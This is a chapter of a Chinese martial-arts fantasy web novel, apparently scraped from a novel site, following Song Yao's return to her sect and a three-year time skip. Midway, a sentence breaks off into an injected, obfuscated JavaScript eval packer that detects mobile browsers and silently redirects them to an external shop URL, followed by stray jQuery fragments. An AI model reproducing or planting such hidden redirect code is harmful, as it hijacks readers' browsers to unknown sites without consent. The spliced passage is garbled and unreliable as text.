文趣网 > 其他小说 > 我师弟不是那种人 > 39. 第 39 章
    一路日夜兼程,终于在二月初到达飞仙门。

    春寒料峭,虽已没了冬日的刺骨,却仍带着几分沁人的凉意。

    山风拂过,吹动温千均月白色的衣袂。他早已候在山下多时,冷峻的眉眼间凝结着一层化不开的冰霜。

    得知徒儿今日归来,他心里七上八下的没个着落。

    宋瑶这丫头胆子是越来越大了,年前留书一封便敢擅自潜回京城,简直不知死活!他负在身后的双手不自觉地攥紧,今日无论如何,也得让她知道知道江湖险恶,长长记性!

    几辆马车陆续到达,宋瑶第一个跳下车,便迎上师父那张冷若冰霜的脸。

    “你可知错?!”温千均劈头盖脸就是一顿训斥,“小小年纪便这般胆大包天,留张字条就敢独自跑回京城,简直是胡闹!回去给我把练心功法抄二十遍,少一遍都不行!”

    吼完他就后悔了。

    因为,百里蕊也下车了!

    温千均又窘又喜,别过脸去,嗫嚅着解释:“蕊儿你别误会,我是担心瑶儿才如此,平时很少凶她。”

    宋瑶一路缄默,全程没跟崔砚礼搭过半句话。刚一下车,面对师父的训斥,不为所动。她利落抱起一个小包袱,径直行至刚下车的小师弟身旁,语气平淡却透着不容拒绝的意味:“你跟我来。”

    说罢,她率先迈开步子,径直向前走去。

    崔砚礼明白,他父母的行为惹恼了小师姐,此番她要与他划清界线。

    幽静的小径上,四处无人。

    宋瑶抿紧了唇,满腔的怒火正欲喷薄而出,谁料,小师弟动作比她更快,直接摸出一把匕首,反手就要往自己身上捅,嘴上道“小师姐,我父母的行为我不知情,怪师弟没有处理好这些,我划自己两刀当做赔罪了,你莫生气。”

    “啊…”

    她惊呼,迅速出手打落小师弟手上的刀,只听“铮”的一声,匕首落地。

    见崔砚礼毫无玩笑之意,手腕一翻又要去拿那把匕首,宋瑶的怒气顿时烟消云散,取而代之的是满心慌乱。

    她一把攥住他手腕,力道大得连自己都吃惊,急声打断道:“快把刀放下!不是你想的那样,我没怪你,是有事要跟你商量呢。”

    “哦?”他停下动作看向小姑娘,认真道:“什么事?”

    宋瑶不再问罪,转移话题道:“我先前在京城不是说,到了师门有惊喜给你。”

    他点头,是的。

    她凑近了些,压低声音,神色变得前所未有的郑重。

    “是这样的。我娘此次能平安踏入飞仙门,你功不可没,加上平日里你对我诸多照拂,这份情我记着。所以……接下来的日子,我娘会秘密传授我百里家不外传的‘消世阵法’,我想让你跟着我一起学。”

    “此事绝密,万不可让第三人知晓。你日后也绝不能轻易动用此阵,以免暴露我娘的行踪。这些,你可做得到?”

    两人离得极近,崔砚礼甚至能闻到她身上淡淡的芙蓉清香。他呼吸微滞,胸腔里的心跳声在安静角落里显得格外清晰。

    “我愿意。”

    宋瑶俯身将那柄匕首轻轻拾起,递还给他,“收好,我们走吧。”

    她下意识拢了拢怀中的包袱。那里面,是小师弟在京城赠予她的珠翠,珠玉温润,此刻却像一块烙铁,烫得她心口发紧。

    她不是来与他划清界线的吗?唉!

    崔砚礼默默收刀入鞘,乖巧地跟在小师姐身后。

    晚风拂过,他望着前方那抹熟悉的衣袂,思绪不由自主地飘回了正月十四那天。原来,小师姐当时许诺的惊喜,指的就是阵法一事。

    自那日起,六门上下便笼罩在一种紧绷的氛围里。

    众人纷纷敛去浮躁,依着严苛的修行日程,一头扎进了没日没夜的枯燥练武之中。

    于翠与兄长住进了鹤绥院。

    大夫来看过涂锦山的伤势,断言能治,只是伤筋动骨,起码需要半年的休养。

    自那以后,于翠便把宋瑶当成了再生恩人,恨不得把心掏出来报答,伺候起来更是无微不至,事事亲力亲为。

    因着修习的进度不同,宋瑶与师弟师妹们虽身处同一山头,却各自忙碌于不同的课业。偌大的院落里,十天半个月见不着一回人影,反倒成了家常便饭。

    大师兄祝远山在外游历,却总不忘修书寄回。信里细细描绘着江湖上的奇闻轶事,或是某处如画的山水风光,在信件的末尾,他总会郑重地添上一笔:惟愿来日,能与师妹结伴同游。

    宋瑶握着信纸,一时不知如何措辞,索性便不作回复。

    另一边,三公主李仙韵倒是雷打不动。

    今年她依旧准时踏上问道台,誓要一雪前耻,可惜还是败在宋瑶手里。

    不过这回她并非孤身前来,身后还跟着崔书慧与杜寻菱。

    到底是血脉相连的亲妹妹,崔砚礼见状,无奈地拉着崔书慧说了几句体己话,随后带着她,将飞仙门上下里里外外逛了个遍。

    崔书慧此番来飞仙门,宋瑶心中虽对她颇有微词,但念及她好歹是小师弟的胞妹,更何况小师弟先前赠予了她丰厚的银两。拿人手短,宋瑶终是敛了情绪,大方地携她一同御剑乘风,去领略这大好山河的壮丽。

    她坦坦荡荡。

    崔书慧反倒觉得十分不好意思。她心中不免生出几分心虚,毕竟自家二哥的书房内,至今仍挂着那幅画像,日日端详,只为铭记仇恨。

    今年招收新徒,山门前可谓是人头攒动。

    ——尤其是前来拜师的女弟子,竟比往年多了数倍。

    不知是谁走漏了风声,传出清河崔氏的嫡系继承人正于此地习武,更有瑞王府的世子爷也在此处,消息一出,顿时吸引了不少狂花浪蝶。

    女弟子们名为习武。

    实则醉翁之意不在酒,目光皆有意无意地往内门的方向瞟!

    宋瑶年纪尚小,压根儿不懂什么情爱为何物,身边更没人教导她女儿家长大后总归是要嫁人的。听闻外头那些狂花浪蝶的动静,她连眼皮都没抬,只淡淡地“哦”了一声,转头便提剑去了演武场。

    在她心里,立志要成为莲华剑仙那样的人物。

    一剑霜寒,傲视九州。

    晨起随荷姨磨砺剑招,日间跟师父修习轻功身法,还要抽空去母亲跟前参悟阵法,更兼门派大课不敢懈怠。

    真可谓席不暇暖,脚不沾地。

    宋瑶在京城时,还盘算着回飞仙门寻个营生,谁知课业实在繁重,压得她喘不过气,幸好临走前,将小师弟送

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17731907|208609||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    的首饰全打包带了回来。

    某日,她寻了个由头,悄悄带上虞千雁与林汐溜下山,直奔落古城的当铺,从包袱里摸出一枚成色极好的羊脂玉禁步——那玉色白如截脂,触手温润生辉。

    掌柜的一看便知是稀罕物,当即拍板,卖出了一千两的高价。

    有了这笔钱,未来几年都不用愁了!

    云笈山上的桃花开了又谢,谢了又开,不知不觉间,竟已过去了整整三年。

    这三年里,江湖上发生了一件大事。

    江湖中忽生异变,一个名为“八歧教”的邪派横空出世。此教众人修炼的功法极其阴毒,竟能强行吸干他人的毕生内力为己所用,近来已有数位名震一方的江湖好手惨遭毒手,尸骨无存。

    不仅如此,八歧教在民间更是无恶不作。

    他们烧杀抢掠、欺男霸女,所过之处犹如蝗虫过境,直搅得天下大乱,百姓苦不堪言。

    八歧教为祸四方,终于激起了天下公愤。一时间,天剑宗、青城山、如意门、合欢宗、十方堂、七星派、万里洞与飞仙门,八大门派尽数响应。

    各方皆遣出宗门长老与门下最出类拔萃的翘楚弟子,浩浩荡荡,誓要将八歧教彻底围剿,肃清江湖。

    十三岁的宋瑶,正值豆蔻初绽的年纪,眉目黛净,眼尾微微上挑,不施粉黛而颜色如朝霞映雪,她的身段抽条得极快,纤细却柔韧,站在那里便如一棵挺拔的青竹。

    此时,她一身素色门服,坐在鹤绥院廊下磨剑。

    虞千雁向来是个泰山崩于前而色不变的沉稳性子,此刻却连门都顾不上敲,一把推开便直直闯了进来。

    她身后,几个师弟师妹也神色紧张地紧随其后。

    还没等虞千雁将气喘匀,甚至都没来得及站稳脚跟,便急切地冲着屋内喊道:“小师姐!出大事了,你被选中前去围剿八岐教了!”

    “哦。”少女连眼皮都未曾抬一下,手腕微转,继续专注地磨着手中的长剑。伴随着“沙沙”的摩擦声,她语气平淡地应道:“前几日师父找我说过此事了。”

    正值下昼,日影西斜。

    细碎的阳光穿过青竹叶的缝隙,在庭院里洒下斑驳的光斑。

    那几缕微光恰好映照在少女的脸上,越发显得她气质出尘,宛如画中走出的仙子。

    李长宣猛地跨前一步。

    眉头紧锁,语气中带着不容置喙的坚决:“我不同意你去,此行实在太危险了。”

    宋瑶用清水洗净长剑,擦干入鞘,才道:“不同意也没用。飞仙门七门同出,门主与门下武艺最精的弟子皆在征召之列,你们乖乖留下看家,我跟师父都要走这一趟。”

    崔砚礼没师兄师姐们动作快,只能略显局促地退到人群最后面,缩在角落里。就在众人以为他默认留下时,他忽然开了口,声音不大,却透着股执拗:“我也跟着去。”

    有他开了头,群情激奋。

    大家七嘴八舌地吵嚷着都要随军出征,谁也不肯做那个被留下看家的人。

    然而,他们身份特殊,皆与官家有着千丝万缕的联系。这份牵绊,成了此行最大的阻碍,莫说他们想去,便是大长老也绝不敢轻易放行。

    出了差池,朝廷大军压境,兵锋直指此处,此事非同小可。